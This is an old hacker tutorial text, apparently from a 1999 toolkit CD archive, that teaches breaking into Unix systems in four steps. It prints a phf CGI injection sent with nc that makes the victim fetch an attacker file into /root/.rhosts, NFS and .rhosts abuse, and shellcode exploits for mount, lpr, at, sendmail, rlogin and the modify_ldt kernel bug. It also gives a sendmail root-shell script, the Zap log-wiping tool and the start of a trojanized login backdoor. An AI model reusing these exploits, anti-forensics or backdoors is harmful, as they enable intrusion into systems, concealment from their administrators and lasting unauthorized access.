home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / beginners_guide.txt < prev    next >
Text File  |  1999-11-04  |  48KB  |  1,915 lines

  1.                    User's guide
  2.             __________________________
  3.  
  4. Well, howdi folks... I guess you are all wondering who's this guy (me)
  5. that's trying to show you a bit of everything... ?
  6. Well, I ain't telling you anything of that...
  7. Copyright, and other stuff like this (below).
  8.  
  9. Copyright and stuff...
  10. ______________________
  11.  
  12. If you feel offended by this subject (hacking) or you think that you could
  13. do better, don't read the below information...
  14. This file is for educational purposes ONLY...;)
  15. I ain't responsible for any damages you made after reading this...(I'm very 
  16. serious...)
  17. So this can be copied, but not modified (send me the changes, and if they
  18. are good, I'll include them ).
  19. Don't read it, 'cuz it might be illegal.
  20. I warned you...
  21. If you would like to continue, press <PgDown>.
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.             Intro: Hacking step by step.
  40. _________________________________________________________________________________
  41.  
  42. Well, this ain't exactely for begginers, but it'll have to do.
  43. What all hackers has to know is that there are 4 steps in hacking...
  44.  
  45. Step 1: Getting access to site.
  46. Step 2: Hacking r00t.
  47. Step 3: Covering your traces.
  48. Step 4: Keeping that account.
  49.  
  50. Ok. In the next pages we'll see exactely what I ment.
  51.  
  52. Step 1: Getting access.
  53. _______
  54.  
  55. Well folks, there are several methods to get access to a site.
  56. I'll try to explain the most used ones.
  57. The first thing I do is see if the system has an export list:
  58.  
  59. mysite:~>/usr/sbin/showmount -e victim.site.com
  60. RPC: Program not registered.
  61.  
  62. If it gives a message like this one, then it's time to search another way
  63. in.
  64. What I was trying to do was to exploit an old security problem by most
  65. SUN OS's that could allow an remote attacker to add a .rhosts to a users
  66. home directory... (That was possible if the site had mounted their home
  67. directory.
  68. Let's see what happens...
  69.  
  70.  
  71. mysite:~>/usr/sbin/showmount -e victim1.site.com
  72. /usr  victim2.site.com
  73. /home (everyone)
  74. /cdrom (everyone)
  75. mysite:~>mkdir /tmp/mount
  76. mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/
  77. mysite:~>ls -sal /tmp/mount
  78.    total 9
  79.    1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
  80.    1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
  81.    1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
  82.    1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
  83.    1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
  84.    1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
  85.    1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
  86.    1 drwx------   3 test     100          1024 Oct  8 21:05 test/
  87.    1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/
  88.   
  89. Well, we wanna hack into rapper's home.
  90. mysite:~>id
  91. uid=0 euid=0
  92. mysite:~>whoami
  93. root
  94. mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd
  95.  
  96. We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history  and you might
  97. forget it on the remote server...
  98.  
  99. mysite:~>su - rapper
  100. Welcome to rapper's user.
  101. mysite:~>ls -lsa /tmp/mount/
  102.    total 9
  103.    1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
  104.    1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
  105.    1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
  106.    1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
  107.    1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
  108.    1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
  109.    1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
  110.    1 drwx------   3 test     100          1024 Oct  8 21:05 test/
  111.    1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/
  112.  
  113. So we own this guy's home directory...
  114.  
  115. mysite:~>echo "+ +" > rapper/.rhosts
  116. mysite:~>cd /
  117. mysite:~>rlogin victim1.site.com
  118. Welcome to Victim.Site.Com.
  119. SunOs ver....(crap).
  120. victim1:~$
  121.  
  122. This is the first method...
  123. Another method could be to see if the site has an open 80 port. That would
  124. mean that the site has a web page.
  125. (And that's very bad, 'cuz it usually it's vulnerable).
  126. Below I include the source of a scanner that helped me when NMAP wasn't written.
  127. (Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).
  128. NMAP is a scanner that does even stealth scanning, so lots of systems won't
  129. record it.
  130.  
  131. /* -*-C-*- tcpprobe.c */
  132. /* tcpprobe - report on which tcp ports accept connections */
  133. /* IO ERROR, error@axs.net, Sep 15, 1995 */
  134.  
  135. #include <stdio.h>
  136. #include <sys/socket.h>
  137. #include <netinet/in.h>
  138. #include <errno.h>
  139. #include <netdb.h>
  140. #include <signal.h>
  141.  
  142. int main(int argc, char **argv)
  143. {
  144.   int probeport = 0;
  145.   struct hostent *host;
  146.   int err, i, net;
  147.   struct sockaddr_in sa;
  148.  
  149.   if (argc != 2) {
  150.     printf("Usage: %s hostname\n", argv[0]);
  151.     exit(1);
  152.   }
  153.  
  154.   for (i = 1; i < 1024; i++) {
  155.     strncpy((char *)&sa, "", sizeof sa);
  156.     sa.sin_family = AF_INET;
  157.     if (isdigit(*argv[1]))
  158.       sa.sin_addr.s_addr = inet_addr(argv[1]);
  159.     else if ((host = gethostbyname(argv[1])) != 0)
  160.       strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
  161.     else {
  162.       herror(argv[1]);
  163.       exit(2);
  164.     }
  165.     sa.sin_port = htons(i);
  166.     net = socket(AF_INET, SOCK_STREAM, 0);
  167.     if (net < 0) {
  168.       perror("\nsocket");
  169.       exit(2);
  170.     }
  171.     err = connect(net, (struct sockaddr *) &sa, sizeof sa);
  172.     if (err < 0) {
  173.       printf("%s %-5d %s\r", argv[1], i, strerror(errno));
  174.       fflush(stdout);
  175.     } else {
  176.       printf("%s %-5d accepted.                               \n", argv[1], i);
  177.       if (shutdown(net, 2) < 0) {
  178.     perror("\nshutdown");
  179.     exit(2);
  180.       }
  181.     }
  182.     close(net);
  183.   }
  184.   printf("                                                                \r");
  185.   fflush(stdout);
  186.   return (0);
  187. }
  188.  
  189. Well, now be very carefull with the below exploits, because they usually get
  190. logged.
  191. Besides, if you really wanna get a source file from /cgi-bin/ use this
  192. sintax : lynx http://www.victim1.com//cgi-bin/finger
  193. If you don't wanna do that, then do a :
  194.  
  195. mysite:~>echo "+ +" > /tmp/rhosts
  196.  
  197. mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+
  198. /root/.rhosts" | nc -v - 20 victim1.site.com 80
  199.  
  200. then 
  201. mysite:~>rlogin -l root victim1.site.com
  202. Welcome to Victim1.Site.Com.
  203. victim1:~#
  204.  
  205. Or, maybe, just try to find out usernames and passwords...
  206. The usual users are "test", "guest", and maybe the owner of the site...
  207. I usually don't do such things, but you can...
  208.  
  209. Or if the site is really old, use that (quote site exec) old bug for
  210. wu.ftpd.
  211. There are  a lot of other exploits, like the remote exploits (innd, imap2,
  212. pop3, etc...) that you can find at rootshell.connectnet.com or at
  213. dhp.com/~fyodor. 
  214.  
  215. Enough about this topic. (besides, if you can finger the site, you can
  216. figgure out usernames and maybe by guessing passwords (sigh!) you could get
  217. access to the site).
  218.  
  219.  
  220. Step 2: Hacking r00t.
  221. ______
  222.  
  223. First you have to find the system it's running...
  224. a). LINUX
  225. ALL versions:
  226. A big bug for all linux versions is mount/umount and (maybe) lpr.
  227.  
  228. /* Mount Exploit for Linux, Jul 30 1996
  229.  
  230. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  231. ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
  232. :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
  233. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
  234. ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  235. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  236. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  237. ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
  238. ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
  239. :::::::...........:::...........:::...........::.......:......:.......::::::
  240. :::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
  241.  
  242. Discovered and Coded by Bloodmask & Vio
  243. Covin Security 1996
  244. */
  245.  
  246. #include <unistd.h>
  247. #include <stdio.h>
  248. #include <stdlib.h>
  249. #include <fcntl.h>
  250. #include <sys/stat.h>
  251.  
  252. #define PATH_MOUNT "/bin/mount"
  253. #define BUFFER_SIZE 1024
  254. #define DEFAULT_OFFSET 50
  255.  
  256. u_long get_esp()
  257. {
  258.   __asm__("movl %esp, %eax");
  259.  
  260. }
  261.  
  262. main(int argc, char **argv)
  263. {
  264.   u_char execshell[] =
  265.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  266.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  267.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  268.  
  269.    char *buff = NULL;
  270.    unsigned long *addr_ptr = NULL;
  271.    char *ptr = NULL;
  272.  
  273.    int i;
  274.    int ofs = DEFAULT_OFFSET;
  275.  
  276.    buff = malloc(4096);
  277.    if(!buff)
  278.    {
  279.       printf("can't allocate memory\n");
  280.       exit(0);
  281.    }
  282.    ptr = buff;
  283.  
  284.    /* fill start of buffer with nops */
  285.  
  286.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  287.    ptr += BUFFER_SIZE-strlen(execshell);
  288.  
  289.    /* stick asm code into the buffer */
  290.  
  291.    for(i=0;i < strlen(execshell);i++)
  292.       *(ptr++) = execshell[i];
  293.  
  294.    addr_ptr = (long *)ptr;
  295.    for(i=0;i < (8/4);i++)
  296.       *(addr_ptr++) = get_esp() + ofs;
  297.    ptr = (char *)addr_ptr;
  298.    *ptr = 0;
  299.  
  300.    (void)alarm((u_int)0);
  301.    printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
  302.    execl(PATH_MOUNT, "mount", buff, NULL);
  303. }
  304.  
  305. /*LPR exploit:I don't know the author...*/
  306.  
  307. #include <stdio.h>
  308. #include <stdlib.h>
  309. #include <unistd.h>
  310.  
  311. #define DEFAULT_OFFSET          50
  312. #define BUFFER_SIZE             1023
  313.  
  314. long get_esp(void)
  315. {
  316.    __asm__("movl %esp,%eax\n");
  317. }
  318.  
  319. void main()
  320. {
  321.    char *buff = NULL;
  322.    unsigned long *addr_ptr = NULL;
  323.    char *ptr = NULL;
  324.  
  325.    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  326.                         "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  327.                         "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  328.                         "\xd7\xff\xff\xff/bin/sh";
  329.    int i;
  330.  
  331.    buff = malloc(4096);
  332.    if(!buff)
  333.    {
  334.       printf("can't allocate memory\n");
  335.       exit(0);
  336.    }
  337.    ptr = buff;
  338.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  339.    ptr += BUFFER_SIZE-strlen(execshell);
  340.    for(i=0;i < strlen(execshell);i++)
  341.       *(ptr++) = execshell[i];
  342.    addr_ptr = (long *)ptr;
  343.    for(i=0;i<2;i++)
  344.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  345.    ptr = (char *)addr_ptr;
  346.    *ptr = 0;
  347.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  348. }
  349.  
  350.  
  351. b.) Version's 1.2.* to 1.3.2
  352. NLSPATH env. variable exploit:
  353.  
  354. /* It's really annoying for users and good for me... 
  355. AT exploit gives only uid=0 and euid=your_usual_euid.
  356. */
  357. #include <unistd.h>
  358. #include <stdio.h>
  359. #include <stdlib.h>
  360. #include <fcntl.h>
  361. #include <sys/stat.h>
  362.  
  363. #define path "/usr/bin/at"
  364. #define BUFFER_SIZE 1024
  365. #define DEFAULT_OFFSET 50
  366.  
  367. u_long get_esp()
  368. {
  369.   __asm__("movl %esp, %eax");
  370.  
  371. }
  372.  
  373. main(int argc, char **argv)
  374. {
  375.   u_char execshell[] =
  376.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  377.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  378.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  379.  
  380.    char *buff = NULL;
  381.    unsigned long *addr_ptr = NULL;
  382.    char *ptr = NULL;
  383.  
  384.    int i;
  385.    int ofs = DEFAULT_OFFSET;
  386.  
  387.    buff = malloc(4096);
  388.    if(!buff)
  389.    {
  390.       printf("can't allocate memory\n");
  391.       exit(0);
  392.    }
  393.    ptr = buff;
  394.  
  395.  
  396.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  397.    ptr += BUFFER_SIZE-strlen(execshell);
  398.  
  399.  
  400.    for(i=0;i < strlen(execshell);i++)
  401.       *(ptr++) = execshell[i];
  402.  
  403.    addr_ptr = (long *)ptr;
  404.    for(i=0;i < (8/4);i++)
  405.       *(addr_ptr++) = get_esp() + ofs;
  406.    ptr = (char *)addr_ptr;
  407.    *ptr = 0;
  408.  
  409.    (void)alarm((u_int)0);
  410.    printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n");
  411.    setenv("NLSPATH",buff,1);
  412.    execl(path, "at",NULL);
  413. }
  414.  
  415. SENDMAIL exploit: (don't try to chmod a-s this one... :) )
  416.  
  417. /* SENDMAIL Exploit for Linux
  418. */
  419.  
  420. #include <unistd.h>
  421. #include <stdio.h>
  422. #include <stdlib.h>
  423. #include <fcntl.h>
  424. #include <sys/stat.h>
  425.  
  426. #define path "/usr/bin/sendmail"
  427. #define BUFFER_SIZE 1024
  428. #define DEFAULT_OFFSET 50
  429.  
  430. u_long get_esp()
  431. {
  432.   __asm__("movl %esp, %eax");
  433.  
  434. }
  435.  
  436. main(int argc, char **argv)
  437. {
  438.   u_char execshell[] =
  439.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  440.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  441.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh";
  442.  
  443.    char *buff = NULL;
  444.    unsigned long *addr_ptr = NULL;
  445.    char *ptr = NULL;
  446.  
  447.    int i;
  448.    int ofs = DEFAULT_OFFSET;
  449.  
  450.    buff = malloc(4096);
  451.    if(!buff)
  452.    {
  453.       printf("can't allocate memory\n");
  454.       exit(0);
  455.    }
  456.    ptr = buff;
  457.  
  458.  
  459.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  460.    ptr += BUFFER_SIZE-strlen(execshell);
  461.  
  462.  
  463.    for(i=0;i < strlen(execshell);i++)
  464.       *(ptr++) = execshell[i];
  465.  
  466.    addr_ptr = (long *)ptr;
  467.    for(i=0;i < (8/4);i++)
  468.       *(addr_ptr++) = get_esp() + ofs;
  469.    ptr = (char *)addr_ptr;
  470.    *ptr = 0;
  471.  
  472.    (void)alarm((u_int)0);
  473.    printf("SENDMAIL exploit discovered by me, _PHANTOM_ in  1997\n");
  474.    setenv("NLSPATH",buff,1);
  475.    execl(path, "sendmail",NULL);
  476. }
  477.  
  478. MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT)
  479. !!!)
  480.  
  481. /* this is a hack of a hack.  a valid System.map was needed to get this 
  482.    sploit to werk.. but not any longer.. This sploit will give you root
  483.    if the modify_ldt bug werks.. which I beleive it does in any kernel 
  484.    before 1.3.20 ..
  485.    
  486.    QuantumG
  487. */
  488.  
  489. /* original code written by Morten Welinder.
  490.  *
  491.  * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
  492.  * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
  493.  * 2. the _task in the System.map file has no leading underscore.
  494.  * I am not sure at what point these were changed, if you are
  495.  * using this on a newer kernel compile with NEWERKERNEL defined.
  496.  *                                          -ReD
  497.  */
  498.  
  499. #include <linux/ldt.h>
  500. #include <stdio.h>
  501. #include <linux/unistd.h>
  502. #include <signal.h>
  503. #ifdef NEWERKERNEL
  504. #include <asm/sigcontext.h>
  505. #endif
  506. #define __KERNEL__
  507. #include <linux/sched.h>
  508. #include <linux/module.h>
  509.  
  510. static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
  511. static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
  512.  
  513.  
  514. #define KERNEL_BASE 0xc0000000
  515. /* ------------------------------------------------------------------------ */
  516. static __inline__ unsigned char
  517. __farpeek (int seg, unsigned ofs)
  518. {
  519.   unsigned char res;
  520.   asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
  521.        : "=a" (res)
  522.        : "r" (seg), "r" (ofs));
  523.   return res;
  524. }
  525. /* ------------------------------------------------------------------------ */
  526. static __inline__ void
  527. __farpoke (int seg, unsigned ofs, unsigned char b)
  528. {
  529.   asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
  530.        : /* No results.  */
  531.        : "r" (seg), "r" (ofs), "r" (b));
  532. }
  533. /* ------------------------------------------------------------------------ */
  534. void
  535. memgetseg (void *dst, int seg, const void *src, int size)
  536. {
  537.   while (size-- > 0)
  538.     *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
  539. }
  540. /* ------------------------------------------------------------------------ */
  541. void
  542. memputseg (int seg, void *dst, const void *src, int size)
  543. {
  544.   while (size-- > 0)
  545.     __farpoke (seg, (unsigned)(dst++), *(char *)src++);
  546. }
  547. /* ------------------------------------------------------------------------ */
  548. int
  549. main ()
  550. {
  551.   int stat, i,j,k;
  552.   struct modify_ldt_ldt_s ldt_entry;
  553.   FILE *syms;
  554.   char line[100];
  555.   struct task_struct **task, *taskptr, thistask;
  556.   struct kernel_sym blah[4096];
  557.  
  558.   printf ("Bogusity checker for modify_ldt system call.\n");
  559.  
  560.   printf ("Testing for page-size limit bug...\n");
  561.   ldt_entry.entry_number = 0;
  562.   ldt_entry.base_addr = 0xbfffffff;
  563.   ldt_entry.limit = 0;
  564.   ldt_entry.seg_32bit = 1;
  565.   ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  566.   ldt_entry.read_exec_only = 0;
  567.   ldt_entry.limit_in_pages = 1;
  568.   ldt_entry.seg_not_present = 0;
  569.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  570.   if (stat)
  571.     /* Continue after reporting error.  */
  572.     printf ("This bug has been fixed in your kernel.\n");
  573.   else
  574.     {
  575.       printf ("Shit happens: ");
  576.       printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
  577.     }
  578.  
  579.   printf ("Testing for expand-down limit bug...\n");
  580.   ldt_entry.base_addr = 0x00000000;
  581.   ldt_entry.limit = 1;
  582.   ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  583.   ldt_entry.limit_in_pages = 0;
  584.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  585.   if (stat)
  586.     {
  587.       printf ("This bug has been fixed in your kernel.\n");
  588.       return 1;
  589.     }
  590.   else
  591.     {
  592.       printf ("Shit happens: ");
  593.       printf ("0x00000000 - 0xfffffffd is accessible.\n");
  594.     }
  595.  
  596.   i = get_kernel_syms(blah);
  597.   k = i+10;
  598.   for (j=0; j<i; j++) 
  599.    if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
  600.   if (k==i+10) { printf("current not found!!!\n"); return(1); }
  601.   j=k;
  602.  
  603.   taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  604.   memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));  
  605.   taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  606.   memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  607.   if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
  608.   printf("Current process is %i\n",thistask.pid);
  609.   taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
  610.   memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  611.   if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
  612.   printf("Parent process is %i\n",thistask.pid);
  613.   thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  614.   thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  615.   memputseg (7, taskptr, &thistask, sizeof (thistask));
  616.   printf ("Shit happens: parent process is now root process.\n");
  617.   return 0;
  618. };
  619.  
  620. c.) Other linux versions:
  621. Sendmail exploit:
  622.  
  623.  
  624.  
  625. #/bin/sh
  626. #
  627. #
  628. #                                   Hi !
  629. #                This is exploit for sendmail smtpd bug
  630. #    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
  631. #         This shell script does a root shell in /tmp directory.
  632. #          If you have any problems with it, drop me a letter.
  633. #                                Have fun !
  634. #
  635. #
  636. #                           ----------------------
  637. #               ---------------------------------------------
  638. #    -----------------   Dedicated to my beautiful lady   ------------------
  639. #               ---------------------------------------------
  640. #                           ----------------------
  641. #
  642. #          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
  643. #
  644. #
  645. #
  646. echo   'main()                                                '>>leshka.c
  647. echo   '{                                                     '>>leshka.c
  648. echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
  649. echo   '}                                                     '>>leshka.c
  650. #
  651. #
  652. echo   'main()                                                '>>smtpd.c
  653. echo   '{                                                     '>>smtpd.c
  654. echo   '  setuid(0); setgid(0);                               '>>smtpd.c
  655. echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
  656. echo   '}                                                     '>>smtpd.c
  657. #
  658. #
  659. cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
  660. ./leshka
  661. kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
  662. rm leshka.c leshka smtpd.c /tmp/smtpd
  663. echo "Now type:   /tmp/sh"
  664.  
  665. SUNOS:
  666. Rlogin exploit:
  667. (arghh!)
  668. #include <stdio.h>
  669. #include <stdlib.h>
  670. #include <sys/types.h>
  671. #include <unistd.h>
  672.  
  673. #define BUF_LENGTH      8200
  674. #define EXTRA           100
  675. #define STACK_OFFSET    4000
  676. #define SPARC_NOP       0xa61cc013
  677.  
  678. u_char sparc_shellcode[] =
  679. "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  680. "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  681. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  682. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  683. "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  684.  
  685. u_long get_sp(void)
  686. {
  687.   __asm__("mov %sp,%i0 \n");
  688. }
  689.  
  690. void main(int argc, char *argv[])
  691. {
  692.   char buf[BUF_LENGTH + EXTRA];
  693.   long targ_addr;
  694.   u_long *long_p;
  695.   u_char *char_p;
  696.   int i, code_length = strlen(sparc_shellcode);
  697.  
  698.   long_p = (u_long *) buf;
  699.  
  700.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  701.     *long_p++ = SPARC_NOP;
  702.  
  703.   char_p = (u_char *) long_p;
  704.  
  705.   for (i = 0; i < code_length; i++)
  706.     *char_p++ = sparc_shellcode[i];
  707.  
  708.   long_p = (u_long *) char_p;
  709.  
  710.   targ_addr = get_sp() - STACK_OFFSET;
  711.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  712.     *long_p++ = targ_addr;
  713.  
  714.   printf("Jumping to address 0x%lx\n", targ_addr);
  715.  
  716.   execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  717.   perror("execl failed");
  718. }
  719.  
  720. Want more exploits? Get 'em from other sites (like rootshell,
  721. dhp.com/~fyodor, etc...).
  722.  
  723.  
  724.  
  725. Step 3: Covering your tracks:
  726. ______
  727.  
  728. For this you could use lots of programs like zap, utclean, and lots of
  729. others...
  730. Watch out, ALWAYS after you cloaked yourself to see if it worked do a:
  731. victim1:~$ who
  732. ...(crap)...
  733. victim1:~$ finger
  734. ...;as;;sda...
  735. victim1:~$w
  736. ...
  737.  
  738. If you are still not cloaked, look for wtmpx, utmpx and other stuff like
  739. that. The only cloaker (that I know) that erased me even from wtmpx/utmpx
  740. was utclean. But I don't have it right now, so ZAP'll have to do the job.
  741.  
  742.  
  743.  
  744. /*
  745.       Title:  Zap.c (c) rokK Industries
  746.    Sequence:  911204.B
  747.  
  748.     Syztems:  Kompiles on SunOS 4.+
  749.        Note:  To mask yourself from lastlog and wtmp you need to be root,
  750.               utmp is go+w on default SunOS, but is sometimes removed.
  751.     Kompile:  cc -O Zap.c -o Zap
  752.         Run:  Zap <Username>
  753.  
  754.        Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
  755.               entered Username. It also Zeros out the last login data for
  756.               the specific user, fingering that user will show 'Never Logged
  757.               In'
  758.  
  759.       Usage:  If you cant find a usage for this, get a brain.
  760. */
  761.  
  762. #include <sys/types.h>
  763. #include <stdio.h>
  764. #include <unistd.h>
  765. #include <fcntl.h>
  766. #include <utmp.h>
  767. #include <lastlog.h>
  768. #include <pwd.h>
  769.  
  770. int f;
  771.  
  772. void kill_tmp(name,who)
  773. char *name,
  774.      *who;
  775. {
  776.     struct utmp utmp_ent;
  777.  
  778.   if ((f=open(name,O_RDWR))>=0) {
  779.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  780.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  781.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  782.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  783.                  write (f, &utmp_ent, sizeof (utmp_ent));
  784.             }
  785.      close(f);
  786.   }
  787. }
  788.  
  789. void kill_lastlog(who)
  790. char *who;
  791. {
  792.     struct passwd *pwd;
  793.     struct lastlog newll;
  794.  
  795.      if ((pwd=getpwnam(who))!=NULL) {
  796.  
  797.         if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
  798.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  799.             bzero((char *)&newll,sizeof( newll ));
  800.             write(f, (char *)&newll, sizeof( newll ));
  801.             close(f);
  802.         }
  803.  
  804.     } else printf("%s: ?\n",who);
  805. }
  806.  
  807. main(argc,argv)
  808. int  argc;
  809. char *argv[];
  810. {
  811.     if (argc==2) {
  812.         kill_tmp("/etc/utmp",argv[1]);
  813.         kill_tmp("/usr/adm/wtmp",argv[1]);
  814.         kill_lastlog(argv[1]);
  815.         printf("Zap!\n");
  816.     } else
  817.     printf("Error.\n");
  818. }
  819.  
  820.  
  821. Step 4: Keeping that account.
  822. _______
  823.  
  824. This usually means that you'll have to install some programs to give you
  825. access even if the root has killed your account...
  826. (DAEMONS!!!) =>|-@
  827.  Here is an example of a login daemon from the DemonKit (good job,
  828. fellows...)
  829. LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date
  830. of creation. (use touch --help to see how!)
  831.  
  832.  
  833. /*
  834. This is a simple trojanized login program, this was designed for Linux
  835. and will not work without modification on linux. It lets you login as
  836. either a root user, or any ordinary user by use of a 'magic password'.
  837. It will also prevent the login from being logged into utmp, wtmp, etc.
  838. You will effectively be invisible, and not be detected except via 'ps'.
  839. */
  840.  
  841. #define BACKDOOR                    "password"
  842. int     krad=0;
  843.  
  844.  
  845.  
  846. /* This program is derived from 4.3 BSD software and is
  847.    subject to the copyright notice below.
  848.  
  849.    The port to HP-UX has been motivated by the incapability
  850.    of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes.
  851.  
  852.    Changes:
  853.  
  854.    - General HP-UX portation. Use of facilities not available
  855.      in HP-UX (e.g. setpriority) has been eliminated.
  856.      Utmp/wtmp handling has been ported.
  857.  
  858.    - The program uses BSD command line options to be used
